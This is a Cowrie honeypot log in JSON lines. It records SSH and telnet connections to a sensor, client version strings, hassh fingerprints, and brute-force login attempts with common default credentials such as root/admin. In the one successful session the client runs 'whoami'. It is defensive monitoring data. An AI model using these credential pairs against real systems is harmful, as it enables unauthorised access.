{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:56:08.510658Z","src_ip":"41.242.115.84","session":"23acbd10b899","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasd1234","message":"login attempt [root/qweasd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:56:09.322865Z","src_ip":"41.242.115.84","session":"23acbd10b899","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:56:10.521017Z","src_ip":"41.242.115.84","session":"23acbd10b899","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":56314,"dst_ip":"159.203.135.109","dst_port":22,"session":"920ad4ef9800","protocol":"ssh","message":"New connection: 62.133.62.83:56314 (159.203.135.109:22) [session: 920ad4ef9800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:56:35.801979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:56:35.805510Z","src_ip":"62.133.62.83","session":"920ad4ef9800","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:56:35.888644Z","src_ip":"62.133.62.83","session":"920ad4ef9800","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:56:36.145596Z","src_ip":"62.133.62.83","session":"920ad4ef9800","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:56:37.231141Z","src_ip":"62.133.62.83","session":"920ad4ef9800","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":44742,"dst_ip":"159.203.135.109","dst_port":22,"session":"550d108f0669","protocol":"ssh","message":"New connection: 178.128.39.166:44742 (159.203.135.109:22) [session: 550d108f0669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:01.180988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:01.383029Z","src_ip":"178.128.39.166","session":"550d108f0669","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:01.386532Z","src_ip":"178.128.39.166","session":"550d108f0669","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:02.039133Z","src_ip":"178.128.39.166","session":"550d108f0669","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:02.396009Z","src_ip":"178.128.39.166","session":"550d108f0669","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:02.398872Z","src_ip":"178.128.39.166","session":"550d108f0669","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":5,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:02.538518Z","src_ip":"178.128.39.166","session":"550d108f0669","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:02.542916Z","src_ip":"178.128.39.166","session":"550d108f0669","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:14.049008Z","src_ip":"89.223.69.22","session":"c5a4273fa5c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.205.134.214","src_port":50202,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e2c4c89702f","protocol":"ssh","message":"New connection: 154.205.134.214:50202 (159.203.135.109:22) [session: 4e2c4c89702f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:19.247772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:19.251751Z","src_ip":"154.205.134.214","session":"4e2c4c89702f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:19.400612Z","src_ip":"154.205.134.214","session":"4e2c4c89702f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootpwd","message":"login attempt [root/rootpwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:20.032408Z","src_ip":"154.205.134.214","session":"4e2c4c89702f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:21.182945Z","src_ip":"154.205.134.214","session":"4e2c4c89702f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.190.89.127","src_port":41574,"dst_ip":"159.203.135.109","dst_port":22,"session":"a29aefdd8e0c","protocol":"ssh","message":"New connection: 172.190.89.127:41574 (159.203.135.109:22) [session: a29aefdd8e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:39.332992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:39.336635Z","src_ip":"172.190.89.127","session":"a29aefdd8e0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:39.346362Z","src_ip":"172.190.89.127","session":"a29aefdd8e0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456","message":"login attempt [root/A123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:39.423157Z","src_ip":"172.190.89.127","session":"a29aefdd8e0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:40.436182Z","src_ip":"172.190.89.127","session":"a29aefdd8e0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.84","src_port":38724,"dst_ip":"159.203.135.109","dst_port":22,"session":"088d0c1f95fb","protocol":"ssh","message":"New connection: 41.242.115.84:38724 (159.203.135.109:22) [session: 088d0c1f95fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:52.052524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:52.056823Z","src_ip":"41.242.115.84","session":"088d0c1f95fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:52.264731Z","src_ip":"41.242.115.84","session":"088d0c1f95fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"0000","message":"login attempt [ubuntu/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:53.134618Z","src_ip":"41.242.115.84","session":"088d0c1f95fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:57:54.348517Z","src_ip":"41.242.115.84","session":"088d0c1f95fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":39168,"dst_ip":"10.17.0.5","dst_port":22,"session":"e74ce8cebb20","protocol":"ssh","message":"New connection: 91.92.40.176:39168 (10.17.0.5:22) [session: e74ce8cebb20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:58:29.008128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:58:29.011127Z","src_ip":"91.92.40.176","session":"e74ce8cebb20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:58:29.092225Z","src_ip":"91.92.40.176","session":"e74ce8cebb20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"Apache123","message":"login attempt [apache/Apache123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:58:29.337893Z","src_ip":"91.92.40.176","session":"e74ce8cebb20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:58:30.455534Z","src_ip":"91.92.40.176","session":"e74ce8cebb20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":36640,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b46f4d4e729","protocol":"ssh","message":"New connection: 194.36.147.215:36640 (10.17.0.5:22) [session: 4b46f4d4e729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:58:42.223544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:58:42.226741Z","src_ip":"194.36.147.215","session":"4b46f4d4e729","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:58:42.306907Z","src_ip":"194.36.147.215","session":"4b46f4d4e729","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B1@st@Tr0ng!W0rd","message":"login attempt [root/B1@st@Tr0ng!W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:58:42.555767Z","src_ip":"194.36.147.215","session":"4b46f4d4e729","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:58:43.638939Z","src_ip":"194.36.147.215","session":"4b46f4d4e729","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46446,"dst_ip":"159.203.135.109","dst_port":23,"session":"02f913bb028b","protocol":"telnet","message":"New connection: 170.64.224.25:46446 (159.203.135.109:23) [session: 02f913bb028b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:04.223741Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.205.134.214","src_port":55196,"dst_ip":"159.203.135.109","dst_port":22,"session":"35b0aad82d21","protocol":"ssh","message":"New connection: 154.205.134.214:55196 (159.203.135.109:22) [session: 35b0aad82d21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:16.688409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T17:59:16.693002Z","src_ip":"154.205.134.214","session":"35b0aad82d21","protocol":"ssh"}
